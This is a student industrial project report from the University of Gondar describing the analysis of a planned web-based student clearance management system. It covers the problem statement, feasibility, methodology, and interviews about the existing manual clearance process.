Final Implementation

UNIVERSITY OF GONDAR
Faculty of Informatics
Department of Information Systems
Title: Automated Clearance Management System for University Of

Gondar Students
INSY: INDUSTRIAL PROJECT
Prepared By:
Group Members Name ID No
1. ABERA AYENWA GUR/1082/05

2. ABREHAM ZEWEDU GUR /1220/05
3. FEKADU SISAY GUR/4945/05
4. MOHAMMED AWOL GUR/1255/05
Project Advisor, Mr. Girma Sisay
June 10, 2016
Gondar, Ethiopia
Declaration
This is to declare that this project work is done under the supervision of Instructor. Girma Sisay,
Project advisor, and having the title automated clearance management system for university of
Gondar students is sole contribution of:
No part of the project work has been reproduced illegally (copy and paste) which can be considered
as plagiarism. All referenced part has been used to argue the idea and have been cited properly. The
project team will be responsible and liable for any consequence if violation of this declaration is
proven.
Date: __________________
Group members:
Full name signature
1. ABERA AYENWA ______________
2. ABREHAM ZEWEDU _______________
3. FEKADU SISAY ________________
4. MOHAMMED AWOL __________________
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Certificate
I certify that this BSc. Industrial project documentation entitled automated clearance
management system for university of Gondar students
By:

is approved by me for submission. I certify further that, to the best of my knowledge, the
document represents work carried out by the students.
Name of Adviser Date Signature

Ins. Girma Sisay ____ /_________/____ ___________
Name of coordinator Date Signature

Ins. Setegn Asnakew ____ /_________/____
______________
Examining committee members Signature
1. _______________
2. ________________
3. ________________
4. _________________
5. __________________
It is approved that this project has been written in compliance with formatting rules laid down by
the university.
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Acknowledgement
First of all, praise God, the almighty, merciful and passionate, for providing this
opportunity granting the capability to proceed successfully. The success and final outcome of
this project required a lot of guidance and assistance from many people and the team extremely
fortunate to have got this all along the completion of project documentation. Whatever the team
has done is only due to such guidance and assistance and would not forget to thank them.
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AUTOMATED CLEARANCE MANAGEMENT SYSTEM FOR UNIVERSITY OF GONDAR STUDENTS
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Table of Contents
List of tables........................................................................................................................iii
List of figures......................................................................................................................iv
Acronyms.............................................................................................................................v
Abstract...............................................................................................................................vi
CHAPTER ONE..................................................................................................................1
1.1 INTRODUCTION..........................................................................................................1
1.2 background.....................................................................................................................1
1.3 statement of the problem................................................................................................2
1.4 Objective of the project..................................................................................................3
1.4.1. General objective...............................................................................................................3
1.4.2. Specific objective..............................................................................................................3
1.5 scope of the project........................................................................................................4
1.6 Limitation of the project.................................................................................................4
1.7 Risks & Contingencies..............................................................................................5
1.8 Assumptions and Constraints.........................................................................................5
1.8.1 Assumptions.......................................................................................................................5
1.8.2 Constraint...........................................................................................................................5
1.9 Significance of the project............................................................................................5
1.10 Target beneficiaries of the system................................................................................6
1.11 Feasibility study...........................................................................................................7
1.11.1 Technical Feasibility........................................................................................................7
1.11.2 Operational feasibility......................................................................................................7
1.11.3 Economic feasibility.........................................................................................................7
1.11.4 Schedule feasibility..........................................................................................................8
1.12. Methodologies.............................................................................................................8
1.12.1. Data gathering methodology...........................................................................................8
1.12.1.1 Data modeling technique...............................................................................................9
1.12.1.2 Analysis methodology.................................................................................................10
1.12.1.3 Design methodology....................................................................................................10
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1.13. Programming tools and database..............................................................................10
1.13.1 Hardware tools...............................................................................................................11
1.13.2 Software tools.................................................................................................................11
1.14. Project Cost...............................................................................................................12
1.14.1 Software development cost.............................................................................................12
1.16. Work breakdown structure........................................................................................13
CHAPTER TWO...............................................................................................................15
2. ANALYSIS.................................................................................................................15
2.1. Introduction.................................................................................................................15
2.2. Existing System description........................................................................................15
2.2.1. Players of the existing system........................................................................................17
2.2.2 The Existing System Clearance form preparation............................................................17
2.2.5 Business Rules of Existing System...........................................................................20
2.3. Determining Basic Requirements of Student Clearance System................................21
2.3.1. Fact-Finding & Analysis.................................................................................................22
2.3.1.1 INTERVIEWS..........................................................................................................22
2.3.1.2. OBSERVATION......................................................................................................25
2.4. Over view of the proposed system..............................................................................26
2.5. Requirement Specification..........................................................................................26
2.5.1. Functional Requirement..................................................................................................26
2.5.2. Non Functional Requirements.........................................................................................27
2.5.2.1. User interface and human factors.............................................................................29
2.5.2.2. Documentation.........................................................................................................29
2.5.2.3. Hardware consideration............................................................................................29
2.5.2.4. Performance characteristics......................................................................................29
2.5.2.5. Error handling and extreme conditions.....................................................................29
2.5.2.6. Quality issues...........................................................................................................30
2.5.2.7. System modifications...............................................................................................30
2.5.2.8. Physical environment...............................................................................................30
2.5.2.9. Security issues..........................................................................................................30
2.6 PROPOSED SYSTEM ACTOR INDENTIFICATION.............................................30
2.6 .1 use case selection for the proposed system......................................................................31
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2.7 Activity Diagram.................................................................................................................48
2.8. Data dictionary...................................................................................................................54
2.9 Class diagram...............................................................................................................55
2.10. Dynamic model.........................................................................................................57
2.10.1 Sequence Diagram..........................................................................................................57
2.11. State chart diagrams..................................................................................................64
2.12 USER INTERFACE DESIGN...................................................................................68
CHAPTER THREE............................................................................................................71
3. DESIGN.........................................................................................................................71
3.1 Introduction..................................................................................................................71
3.1.1 Purpose of system design.................................................................................................71
3.1.2 Design Goals....................................................................................................................71
3.1.3 EXISTING SOFTWARE ARCHITECTURE..............................................................72
3.1.4 Proposed System software architecture............................................................................72
3.1.4.1 Overview...................................................................................................................72
3.1.5. Subsystem decomposition...............................................................................................73
3.2. Component diagram....................................................................................................76
3.3. Deployment Diagram..................................................................................................78
3.4 Persistent data management.........................................................................................80
3.5 Access control and security..........................................................................................81
3.6 Detail Class diagram....................................................................................................82
CHAPTER –FOUR............................................................................................................83
4. SYSTEM IMPLEMENTATION...........................................................................................83
6.5.1 Recommendation.................................................................................................104
References........................................................................................................................105
List of tables
Table 1 project life time table........................................................................................................12
Table 2Work Breakdown Structure...............................................................................................13
Table 3 some program within respective list of sign office...........................................................18
Table 4 observation analysis.........................................................................................................25
Table 5 Non-functional requirements............................................................................................28
Table 6 Record property Information use case description...........................................................34
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Table 71 Edit property Information use case description..............................................................35
Table 8 Delete property Information use case description.............................................................36
Table 9. Uploadmaterial use case description...............................................................................37
Table 10 Create user account use case description........................................................................38
Table 11 Update user account use case description.......................................................................39
Table 12Access Control and Security...........................................................................................81
List of figures
Figure 1 work breakdown structures............................................................................................14
Figure 2. Current system clearance form......................................................................................16
Figure 3. Essential Use Case Diagram for Proposed System..........................................................31
Figure 4 Activity diagram for login use case description...............................................................48
Figure 5 Activity diagram for Registration.....................................................................................49
Figure 6 Activity diagram for Delete use case description.............................................................50
Figure 7 Activity diagram for Update use case description...........................................................51
Figure 8 Activity diagram for Report Generate use case description............................................52
Figure 9 Activity diagram for Clear use case description...............................................................53
Figure 10 Analysis Level Class Diagram.........................................................................................56
Figure 11 Sequence Diagram for Login Use case...........................................................................58
Figure 12 Sequence Diagram for Signing Clearance......................................................................58
Figure 13 Sequence Diagram for Registration...............................................................................60
Figure 14 Sequence Diagram for update.......................................................................................61
Figure 15 Sequence Diagram for Delete........................................................................................62
Figure 16 Sequence Diagram for Clear..........................................................................................63
Figure 17 Sequence Diagram for Report Generate Use case.........................................................64
Figure 18 state chart diagrams for clearance approved procedure..............................................65
Figure 19 state chart diagrams for login........................................................................................66
Figure 20 State-chart diagrams for Clearance Form Signing.........................................................67
Figure 21 user interfaces for user comment.................................................................................68
Figure 22 user interfaces for background.....................................................................................69
Figure 23 user interfaces for home page......................................................................................70
Figure 24 Software Architecture of the system.............................................................................73
Figure 25 layered architecture of the system................................................................................74
Figure 26 sub system diagram of the system................................................................................75
Figure 27 sub system class............................................................................................................76
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Figure 28 Component diagram......................................................................................................77
Figure 29 Deployment diagram.....................................................................................................79
Figure 30 Persistent data management..........................................................................................80
Figure 31 detailed class diagram...................................................................................................82
Acronyms
The project team did each activity with specified date Acronym
Acronym Definition
BR………………………………………….Business rule
CSS…………………………………………Cascading style sheet
DB……………………................................Database
HTML………………………………………Hypertext Markup Language
ID No………………………………………..Identification Number
MySQL…………………. …………………Structural Query Language
PHP…………………………………………Public Health College
PHP…………………………………………Hyper Text Preprocessor
TC…………………………………………..Training Center
UC…………………………………………..Use Cause
UI……………………………………………User Interface
UML…………………………………………Unified Modeling Language
UOG…………………………………………University Of Gondar
XAMMP…………………………………….Apache, MySql, PHP, Perl
P/F…………………………………………..Primary or foreign key
OS…………………………………………..Operating System
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Abstract
Since, the current manual based system has many problems encountered as listed in
statement of problem some of them are there is less data security, it is difficult to retrieve
files, and loss of data may be occurred. This computerized system solves such problems.
University of Gondar student clearance system can use the new system effectively and
easily. The project student clearance system developed with the objective of making the
system reliable, easier, fast, and more informative.
The core idea of this project is to minimize the paper work and centralize the data,
minimize costs and time devotes as well as gives fast access for customers. Here all the
communication is taken in secure manner. For further security the data base is stored in
the back-end mysql and so no intruders can access it. It has homepage to provide different
information’s, login page and each actor’s page to do individual work in each page.
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CHAPTER ONE
1.1 INTRODUCTION
1.2 background
University of Gondar is one of the thirty-three Ethiopian universities; it was initially
established in 1954 as a Public Health College and Training Center (PHC & TC). The basic
reason for its initial establishment was the then prevailing health and related problems in and
around Gondar. This marks the beginning today’s University of Gondar which still kept the
legacy of its predecessors in standing for serving the surrounding community through its
education, research and community services.
The university now has nine academic units namely the College of medicine and health
Sciences, Faculty of Business and Economics, Faculty of Social Sciences and Humanities,
College of Natural and Computational Sciences, Faculty of Veterinary Medicine, School of
Law, Faculty of Agriculture, School of Technology and School of Education. Currently, the
University offers about 57 undergraduate and 61 post graduates in the regular programs. In
addition, extension, summer and distance programs are offered by most of the schools,
faculties and the college. Recently, the university has launched two PhD programs; one in
collaboration with Addis Continental Institute of Public Health. The lack of clearance system
in the university is serious of problem to manage the resources in the university.
One of the activities that are performed in University of Gondar is student clearance activity.
Clearance is the process of approving students cleared from any doubt. Based on our
observation and Answers of different university’s societies now a day University of Gondar
is in the process of modernizing its operations by automating and improving existing manual
processes but they do not use an automated system for students clearance activity it is still
now performed manually. As part of this, the project team would like to automate student
Clearance system in order to manage data more effectively and provide faster and more
efficient services.
UOG, DEPARTEMENT OF INFORMATION SYSTEM Page 1

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The current Clearance process of the university requires the students to go around the
university and staffs to sign clearance forms and to queue in line repeatedly to submit or get
other forms. Sometimes the process takes more than an hour and days. Therefore it is
important to automate clearance system for university of Gondar students.
1.3 statement of the problem

The current clearance system of student’s in University of Gondar stay several days for the
purpose of the getting clearance. In case of student clearance the University should offer
extra services like food, electric power, and water supplies when students take clearance at
the end of semester, because the university used manual based staff clearance system. Due to
the manual means being used by University of Gondar in keeping student’s system, a lot of
problems are encounter which includes:
 Difficult to manage and control daily activities such as preparing clearance forms,
distributing clearance form for the students, those tasks are difficult to the officers.
 Difficulties involved in searching for specified record
 Required high costs of paper when we prepared clearance form if the form is needed
to the students that are perform the clearance procedure.
 Students waste more time and stressful to get clearance form.
 Lack of data security.
 Data inconsistence exists that means the flow of information or data from one office
to the other may not be the same.
 There is no way to get clearance form in one office.
 Absence of some staff officers who sign Clearance form which leads to students
repeatedly visiting a particular office in order to sign his/her clearance form.
 Students travelling one office to the other and queuing in line to sign clearance form
whether they have borrowed or not.
 When the Clearance form is lost it causes delaying of readmission date
 Unauthorized body may sign Clearance form since the clearance form is distributed
without checking the student identification card.

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 Consumes more resources to complete the process which is of high cost such as:-
stationery material , Printers and computers etc.
 Need more man power to process the clearance in the respective offices?
 The employees involved in the clearance process are not available 24 hours of the
Day.
The problem discussed above reflects because of the absence or lack of computerized system.
Hence it became necessary for automate the clearance system to eliminate the shortcoming of
the manual system.
1.4 Objective of the project

This project develops a new web based student clearance system. And the project has the
following general and specific objectives.
1.4.1. General objective

The general objective of the project is to develop automate student clearance management
system for UOG students.
1.4.2. Specific objective

In order to achieve the general objective of the project the following specific objectives are
formulated:-
 To Gathering requirements
 To identify the functional and non-functional requirement.
 To develop user friendly or interactive interface design.
 To develop a database that holds students information.
 To know and study about the existing System work flow.
 To analysis the existing systems problem.
 Find the solution for the problem found in existing system
 Develop design model to use in clearance system
 Creating a user friendly environment for particular clients to react and use the system
in good manner .

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 Preparing test plan and conduct acceptance test

 Implement and testing of the proposed system
 Deploy the system and test it till it fits to the needs of the organization
1.5 scope of the project

The introducing system, Clearance management system, which is going to be implemented
for University of Gondar will automate the operation of clearance management system of the
University.
Generally the scope of this project concerns with only automate student clearance system in
University of Gondar.
Tasks that can be includes in this project are:-
 Record properties that concerns students i.e. properties that are borrowed by the
students.
 The system prepares and gives clearance form for students and Cleared the student
clearance and take backup
 The clearance management system should allow the officers to lend the material and
return the material.
 To approve or reject the clearance process for the student (Check students that
borrowed materials) before approve the clearance form.
1.6 Limitation of the project

There are many university staffs that have granted clearance but this project is limited to
automate Clearance system for University of Gondar students only because of the
following reasons
 The difficulty people face in transferring information data.
 Unwillingness attitudes of some UOG staffs when checking their student’s
information so doing student clearance management system is preferable first.
 Time factor in the sense that the semester was short and as a result combining this
task is tedious since there is a lot of staff is there.
 Finance were rather on the lean side and as result it affect the caring out of other
staff clearance management system in that monitory commitment needed for
going photo copying document, storage etc.

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 Attitude of the staff the staff were hostile type and aggressive owing to the fact
that they felt if this activity is computerized they might lose their jobs to the
computer
There is no transfer of properties or materials:-since online transfer of material is difficult
tasks in the process of developing this online clearance management system so the
project team can’t include such tasks.
System hasn’t any chat room that facilitates communication between the administrator
and workers of the respected staffs in delivering information.
1.7 Risks & Contingencies

Some Risks and Contingencies that may happen during the development of the system are
includes absence of electric power, if backup files were destroyed by someone else, and if
there is absence of team member during working because of different problems.
1.8 Assumptions and Constraints

1.8.1 Assumptions
The team members assume to finish the system according the given time.
1.8.2 Constraint
The Major constraints of the system are Internet and power.
1.9 Significance of the project

The project has a lot of significant to the university society.
 Store data in reliability ways.

 The data consistency is applicable.
 Reduce the amount of resources that are wasted.
 Keep users information safely.
 Easy to search and retrieve of the required users data or information i.e. it saves time.
 Give work satisfaction for workers as well as for user.
 Faster decision making.

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 Increases accuracy and availability.

 It facilitates and improves the development of the organization.
 For student:-
 Avoids going around the school and staffs to sign clearance forms.
 Provide convenient away to use it right from the bedroom, office or anywhere in the
campus.
o Information processing is very fast and delays can be avoided.
o Minimizes delaying registration date and pay fee due to loss of Clearance
form.
o It saves a lot of time.
o It is inexpensive to student, employee and school management.
For Officers (who work in the office in which the student will clear their clearance):-
o It helps to easily controls the resources which are borrow to student.

o It proved more security mechanism (unauthorized person cannot approve the
Clearance).
o Information processing is very fast and delays can be avoided.
1.10 Target beneficiaries of the system

This project provides many benefits for:-
1. Students:-by providing fast access to the clearance system by reducing time like
waiting in the queue and going to different offices. The students access the system
anywhere and anytime when they need the clearance .It improve the tiredness of students by
avoiding the going to different offices to get the clearance system.
2. University:-in manual there is loss of materials like paper, pen which is cost and
needs more man power; the system reduces loss of costly materials and man power.

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3. Developers of the project:-It increases our knowledge and gained the skill how
developing website and the project team are gets mental satisfaction from the project we
developed.
4. Officers:-The project reduces the time and work load for clearance checking officers
for serving the students who wants clearance.
1.11 Feasibility study

Economic evaluation is a vital part of investment appraisal, dealing with factors that can be
quantified, measured, and compared in monetary terms. The results of an economic evaluation
are considered with other aspects to make the project investment decision as the proper
investment appraisal helps to ensure that the right project is undertaken in a manner that gives it
the best chances of success [7].
1.11.1 Technical Feasibility

This involves questions such as whether the most of the technology need for the system has
exists in the University of Gondar compound. Because the system is too customize according
to UOG information transferring system there will be no difficulty to build the clearance
system, and also the staff and other concerned bodies has or will have enough experience
using this system.
1.11.2 Operational feasibility

Currently there is no existing system in the case of clearance system so this system will be
implemented in University of Gondar as a pioneer of clearance system project. The system
will provide adequate through put at desire time to the user and also give the need
information in a timely usefully formatted way. The system also has security to gives access
privilege providing account for an authorize person. This system provides help description to
the user about how to use the system. And other technical modification on the system is done
by the developers.

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1.11.3 Economic feasibility

As cost/benefit analysis, show the new system is developed using minimum coast and it give
a lot of benefits such as advancing the services of the system, decreasing the work load of the
users.
Tangible cost
No Name Quantity Unit price in birr Total
1 Purchase of flash disk (4GB) 1 150.00 150.00 birr
2 Purchase of CD RW 2 20.00 40.00 birr

3 Purchase of stationary paper 1.5 packet 100.00 150.00birr
pen 20 3.00 60.00birr
pencil 5 1.50 7.50birr
4 Purchase of CD_R 4 5.00 20.00birr
5 Total estimate cost - - 1027.50birr
Table 1.Tangible cost
Intangible cost
No Professionals Participators Unit Total unit

cost(birr) cost(birr)
1 Programmer, 4persons 1 person *
designer, data collector, and coordinator 30birr/hr*
6hr/week*
27weeks 4,860 birr
Total professional cost=4(4,860)
=19,440 birr
Table 2. Intangible cost
1.11.4 Schedule feasibility

The project deliverables will be providing to the organization based on the time schedule.

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1.12. Methodologies
1.12.1. Data gathering methodology
During requirement analysis, data needed for the project will be gathered from various
sources. During gathering and collecting necessary data and information needed for system
analysis, the system use two major fact-finding techniques those are primary source and
secondary source. In primary source such as interview and observation. In secondary source
the system obtain data from different document.
1.12.1.1 Data modeling technique

The team members use Object Oriented Database Management Systemto develop their
system because it is a system development approach encouraging and facilitating software
components. The development models are the various processes or methodologies that are
being selected for the development of the project depending on the project’s aims and goals.
The project groups select iterative data model for these project because adviser can evaluate
each phase to do the next phase and it is less cost as compared to other models. The
requirement is known for the developers.
This project involves building a dynamic automated clearance management system for university of
Gondar students. In order to achieve our project, an appropriate software design methodology
would be chosen iterative data model.
Iterative development is a way of breaking down the software development of a large

application into smaller chunks. In iterative development, feature code is designed,
developed and tested in repeated cycles. With each iteration, additional features can be
designed, developed and tested until there is a fully functional software application ready to
be deployed to customers.
Typically iterative development is used in conjunction with incremental development in

which a longer software development cycle is split into smaller segments that build upon
each other.
We choose this iterative data model because of it:-

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 Building and improving the product step by step.
 Can get the reliable user feedback.
 Less time is spent on documenting and more time is given for designing.
 Can only create a high-level design of the application before we actually begin to
build.
The phases which come under the iterative data model method are as follows:
 Requirement gathering
 Requirement Analysis
 Designs
 Implementation and testing
1.12.1.2 Analysis methodology

After gathering different information from stakeholders the project team will analyze
requirements by using Unified Modeling Language models like use case diagram, sequence
diagram and class diagram. Since [1]:-
 UML is a modeling language widely used to visualize the object oriented designs.
 UML makes it easy to visualize the software design.
 UML diagrams can be easily decoded and converted into most of the popular
object oriented programming languages.
1.12.1.3 Design methodology

The project team select object oriented approach to design the system because it has best
feature than other approach[2].
Reduced Maintenance: The primary goal of object-oriented development is the assurance

that the system will enjoy a longer life while having far smaller maintenance costs.
Real-World Modeling: Object-oriented systems tend to model the real world in a more
complete fashion than do traditional methods.

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Improved Reliability and Flexibility: Object-oriented system promise to be far more

reliable than traditional systems, primarily because new behaviors can be "built" from
existing objects.
1.13. Programming tools and database

Back-end: The back end of this project used MYSQL, Apache and PHP because:
 It is more reliable.
 It is easy to use.
 It supports many operating systems
Front end: The Front end of this project used HTML, CSS and JavaScript because:-
 They can make effective design easily and understudy

 They use simple programming language
 They can be easily updated or changed
Programming tools
There are two types of programming tools. These are hardware tools and software tools.
1.13.1 Hardware tools

This project used the following hardware tools.
 Laptop Computer: - used to develop the system.

 Flash Disk: - used to store and secure data as backup.
 CD/DVD: - used to store and secure data as backup.
1.13.2 Software tools

Since, there are many software tools for developing any projects. This system or project uses
listed below.
 Code lobster: - to write different codes of the projects. It is important because it

support different languages like HTML, PHP, and JavaScript. It also used to run and
test the project

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 Html:-to display the web page.

 CSS: - for the formatting of the web site.
 JavaScript: - used for validation.
 XAMPP Server: -this software assists to create database or back end of the system, to
run and test system application.
 Note Pad and Note pad++:-It used as reserve code to write this project.
 Microsoft Office window 2010:- used to write documentation part of this project.
 EDRAW Max: - used to design the diagram of the system or project.
1.14. Project Cost

1.14.1 Software development cost
For this particular project we will be using different software but the software’s are getting
from the university.
Software costs
Software Description Price
Microsoft office word 2010 Free
Microsoft power point 2010 Free
Microsoft SQL server Free
A vast antivirus Free
XAMPP Free
Total ---
Table 3 Software cost

1.15. Project Life time
Activity Oct 5 Oct 16 Nov 6- Feb 2 May 2 - July

–Oct 15 – Nov 5 Nov 30 Dec 1- Jan 15 Jan 16 - Feb 1 -Feb 19 Feb 20-May1 Jun 30
Preparation of the
project Title
Preparation of the
proposal
Requirement analysis
Requirement analysis
submission date
2016
Table 1 project life time table
1.16. Work breakdown structure

The work breakdown structure is a view into the project which shows what work the project
encompasses. It is a tool which helps to easily communicate the work and processes involved
to execute the project. The Project Manager and project team use the work breakdown
structure to develop the project schedule, resource requirements and costs.
clearance management system for university of Gondar students

Work Breakdown Structure
No. Task Member Duration
1 1.Data Collection All members one week

1.1 Understand project domain
1.2 methods and tools to be used
2 2.1.Requirement Analysis All members Three week

2.1.1functional requirements
2.1.2 non-functional requirements
3 System Design All Members Five week
4 Implementation All Members Seven week
5 Testing All member Four week

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Table 2Work Breakdown Structure

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web based Clearance management system
Planing Analysis Design Implementation
Problem Requirement Requirement Decomposition

Coding
Identification Gathering Analysis Diagram
Data Collection Data Modeling Functional component

Choosing Title Testing
Method Techniqe Requirement diagram
Non-Functional deployment
Writing Proposal Observation Use case Diagram
Requirement diagram
Interview Class diagram Object diagram
Record review Sequense Diagram
Activity diagram
User interface
Figure 1 work breakdown structures

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CHAPTER TWO
2. ANALYSIS
2.1. Introduction
In this chapter this project discuss about topics like how the current system is operating and
how the proposed application intend to replace the existing system. The different requirement
analysis techniques are also discussed under this chapter with their results found from those
techniques. The system model concept also discussed, which describes the analysis of the
project by using different scenario like use case model and user interface prototype.
2.2. Existing System description

Based on our data gathering the current clearance system of the University of Gondar is a
manual. When the students of the university leave the university they take clearance form
from the registrar and go to different office to sign clearance form. The students may sign
clearance form when they want to fill withdrawal, to take ID card for the second time, during
the end of each year and finally when they graduate and leave the university. This makes the
system so tedious and time consuming. Here, students have to visit all the clearance offices
with a form for them to sign. Once these forms are signed, it proves that the student have
been cleared and validate as they return the materials they borrowed. This process takes a lot
of time to be completed and possess a lot of stress for all students involved.
Before sign in the clearance form each officer first check all the property borrowed by the
student whether return or not. If that is return he/she signs in to the clearance otherwise
he/she didn’t sign in to the clearance form. In order to control the list of students who borrow
the property from the office they use document paper which contain the information about
borrower and borrowed material like name of borrower, identification number of borrower ,
types of borrow material etc.

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In the manual system, the clearance forms are documented in a file cabinet. Each time the
clearance form is needed, a search operation is conducted on the file cabinets to locate a
particular student’s clearance form.
Figure 2. Current system clearance form

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2.2.1. Players of the existing system

Players represent external entities that interact with the system. Due to this we will deal only
with persons involved on those services or persons who have responsible for this work.
Here are the players involved:
 Students:-people who are getting service from the system.

 Registrar:-are persons who cleared the students at the end and where the student
submits the cleared clearance form.
 Officers:-are office workers who sign clearance form for the customers. These
includes employee at sport master office, book store office, library, café, Dormitory
Proctors and different officers where the student of the university sign clearance
form. They may also be any employee who works in the university and who will sign
clearance form.
2.2.2 The Existing System Clearance form preparation

Clearance form is prepared to each program for the students of the university. Each
Clearance form consists of the following thing.
The purpose of clearances with two options
1. Clearance Form:-it is seasonal for the students, because the process takes places at the
end of academic year. At the end of academic year each student gets clearance from
various office of the university.
2. Withdrawal Form:-it takes places at any time in the academic year. If one student
wants to leave the university for different purpose before the end of academic year so
he/she get clearance from various office of the university.
Information of student includes:-
1. Full name (please print) 4. Department
2. Id number 5. Program (undergraduate, postgraduate,)
3. College/faculty/School 6. Year

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7. Reasons for withdrawal 9. Type (Regular, Extension, summer,

Distance, Others)
8. Date
List of signed office
In students’ clearance system based on program, the lists of offices are different. The
following table shows some of program within respective list of sign office.
Program List of sign office

Students Academic Advisor
Laboratory Assistant
School/Department head
Library , chief of circulation
Book store
Sport master
Students Business affairs of the campus
Asst. Dean of students of the campus
Asst. Registrar
Table 3 some program within respective list of sign office

After the students sign in each office and cleared, they go to registrar and give one piece of
signed paper and take the remaining one. Then they are cleared from any responsibilities and
can go to their home.
During signing into the clearance form
The following condition must check before sign in to the clearance form
 Each officer checks (for clearance for example library books and all other library
materials) whether all property borrows by the student returns to the offices or not.
While students signing the clearance form, the clearance process is done by the

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hierarchy. For example they must sign in Library, chief of circulation and book store
office before they go to sign in Asst. Dean of students of the campus.
 Based on hierarchy. Upper office must check whether the lower office sign or not.
2.2.3. Problem of Existing System
Due to the manual means been used by the university, keeping information about student
clearance, a lot problems are encountered which includes:
 There is no way to get clearance form in one office.
 The processes of clearing require that the students be cleared in various office of the
University from all the office it is time wasting, stressful.
 Absence of some staff officers who sign Clearance form which leads to students
repeatedly visiting a particular office in order to sign his/her clearance form.
 Less security (unauthorized person may approve the clearance)
 Difficult to easily manage students who don’t return the equipment that borrow from
the office.
 Wastage of resource and consuming storage space and time.
 Difficult to search, retrieve, update and delete the data about the borrower of the
materials.
 The absence of electronic data storing mechanism it requires huge storage space.
 The current process requires high human-power.
2.2.4. Alternative Solutions
In order to overcome the current system problems that exist in the functioning of clearance
system, our project team members have put down alternative options. These are:-
 Changing the structure of manual system in to organized manner

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 Completely change manual system in to computerized and automated system without

affecting the structure of clearance system
The new system is designed to solve problem affecting the manual system in use. It is design
to be used automated thereby relieving both student and staff from much stress as
experienced from the manual system.
This will do the analyzing and storing of information either automatically or interactively, it
will make use of online access to internet. The new system gives full system functionality
that is needed by system user to perform system functionality. Among that system
functionality online signing clearance form for the students, taking withdrawal form online
for the students, signing clearance form to retake ID card for the student and give complain
to system.
The proposed system will also have some other features like.
 Accuracy in handling of data
 Fast rate of operation and excellent response time
 Flexibility it can be accessed at any time
 Better storage and faster retrieval system.
 Accessibility from anywhere.
The above listed points are described what the project teams are proposed to do and since the
proposed system is automated the students can perform the clearance with efficiently and
effectively.
2.2.5 Business Rules of Existing System

A business rule is effectively an operating principle or polices that the project team try to
specify for both the existing system and the new system must satisfy. The business rule is a
principle or a policy in which the proposed system operates accordingly. The main business
rules or principles of the existing system are:-

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 BR1:- anyone who signs clearance form must be the member of university students.
 BR2:-Registrar officers give clearance form only for students of the university (by
checking their id no).
 BR3:- Officers of the university are not expected or obligate to give service on
weekend (Saturday, Sunday), and Holiday.
 BR4:- when the students want to sign clearance form they take the clearance form
from the registrar officers.
 BR5:- when the students want to sign clearance form they must fill the required field
and they must have an ID card of the university to check the validity of the Student
whether the student is University member or not.
 BR6:- Every student of the university must sign clearance form at the end of each
year.
 BR7:- students must fulfill their responsibility before they go to sign clearance in
different officers/for the return of university equipment’s)
 BR8:- the officers of the university must put their signature and the date when they
sign on the clearance form.
 BR9:- the student of the university must submit the cleared clearance form to
Registrar (not later than two weeks)
 BR10:- students should take one piece of approved clearance form from registrar for
their validity.
2.3. Determining Basic Requirements of Student Clearance System

The team structure investigates by seeking answers to major questions.
 What is the basic business process?
 What data are used or produced during that process?
 What are the limits imposed by time and the volume of work?
 What performance controls are used?

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2.3.1. Fact-Finding & Analysis

The specific methods analysts use for collecting data about requirements are called fact-
finding. These include:
interviews
observation
Usually these techniques used in combination during a study to ensure an accurate and
comprehensive study are undertaken.
2.3.1.1 INTERVIEWS
The team use interviews to collect information from individuals or from groups. The
respondents are generally current users of the existing system or potential users of the
proposed system and the project team selects samples from different officers and student’s
service center includes (Procter, librarian, cafe etc.). These are:
 Instructors of UOG
 Students
 Student Service Center
 Sport master officer
Beginning with the basics, the team ask questions which describe and provide a background
of fundamental details about the system.
For example:
 What is the purpose of this Clearance activity?
 What steps are performed?
 Where does it performed?
 When does it performing?

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 Who performs that?
 How long does it take?
 How often is performed?
 Who uses the resulting information?
Based on the above questions some respondents give their own answer. From this the
project team get some information about the system as the student of the university sign
clearance at the end of each year and when they want to sign for ID card form and withdraw
form. The clearance signing process takes place in the university officers at work time and
they can sign in any office randomly and they must submit to the Registrar at the end of
clearance sign. Based on the above question the respondents give their own answer
respectively below:-
Interviewer question with respective answers
Question 1:-One of the offices which sign in to the clearance form is sport master so what
kinds of thing you cheek before sign in the clearance form?
Answer: -we have different sport materials like ball, sport cloth etc. that is borrowed to the
students. If one student lend this materials he must return it so first we would cheek he/she
return the materials then if he return the material we sign in to the clearance form otherwise
until he/she return the material or he/she pay the fee for that material we did not sign in to the
clearance form.
Question 2: - How do you handle student information during borrowing materials from this
office?
Answer:-in order to control our resource which lends to the student we use a form which
used to record student information that borrow property from the office and borrowed
property information.
Question 3:-Is there any problem during this clearance process?

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Answer:
1. In the earlier time we put only the signature and name of sport master so
that some students was put its own sign in to the clearance. But at this
time we uses stamp.
2. It is difficult to handle students and borrowed material’s information.
Question 4: In which ways you like to be the system?
Answer: We would like if it is networked computerized system because it enable us to

communicate with related office without the student coming to our office and to easily
manage each resource.
Interviewee Students
Question1: What difficulties you faced during the clearance process?
Answer:
Absence of some staff officers who sign Clearance form that leads us to repeatedly
visiting particular offices.
To sign a clearance form we goes around various office of the university like:-
 Chief of library circulation,
 University book store ,
 sport master,
 student service
 School head etc.
Because of these the clearance process is time consuming and stressful.
Question2: In which ways you like to be the clearance process?

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Answer: It is better for us to get only from one office or using online.
2.3.1.2. OBSERVATION
Observation allows the team to gain information they cannot obtain by any other fact-finding
method. Through observation, the team can obtain firsthand information about how activities
are carried out. This method is most useful when the team need to actually observe how
documents are handled, how processes are carried out and whether specified steps are
actually followed. While the team has observed the existing system, there have been
improper handling of files that are too difficult to access it, and these make the decisions
invalid. The teams know the way of signing clearance form during the end of each year, at
that time the team understands how much the process is tedious and require high human
power to accomplish the process.
What the team understands from the observation analysis and summarized in the following
manners:
What should happen.....? What actually happens...?
Standard Operating procedures Delays in doing work
Properly completed documents Missed steps, un authorized body may sign
Efficient and timely completion of work  New controls needed
 telephone calls needed when the officers absent
 The Process not completed as required
Table 4 observation analysis

The project team understands from the observation that standard operating procedure delays
in doing work and in the completion of the documents there is miss of steps and unauthorized
body may sign on the clearance form. To complete the work efficiently and timely there must
be new control needed, telephone calls needed when the officers absent from the office and
the process not completed with the required time.

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2.4. Over view of the proposed system

During our observation and interview of users the project team observed certain problems
from their manual based system. Because of this the project team proposed to solve the
problem of the existing clearance system by developing automated clearance system. That
means our proposed system will minimize the current problem and weakness of existing
system by providing centralized clearance system, the student can get their clearance from
only one place without moving office to office. The proposed system will also provide easily
resource controlling mechanism and create communication between selected offices. When
the student request for clearance signing their information checked in the central database
and approved or rejected by the system. When the student request for approval, the system
display the cleared clearance form then the student save the approved clearance form. The
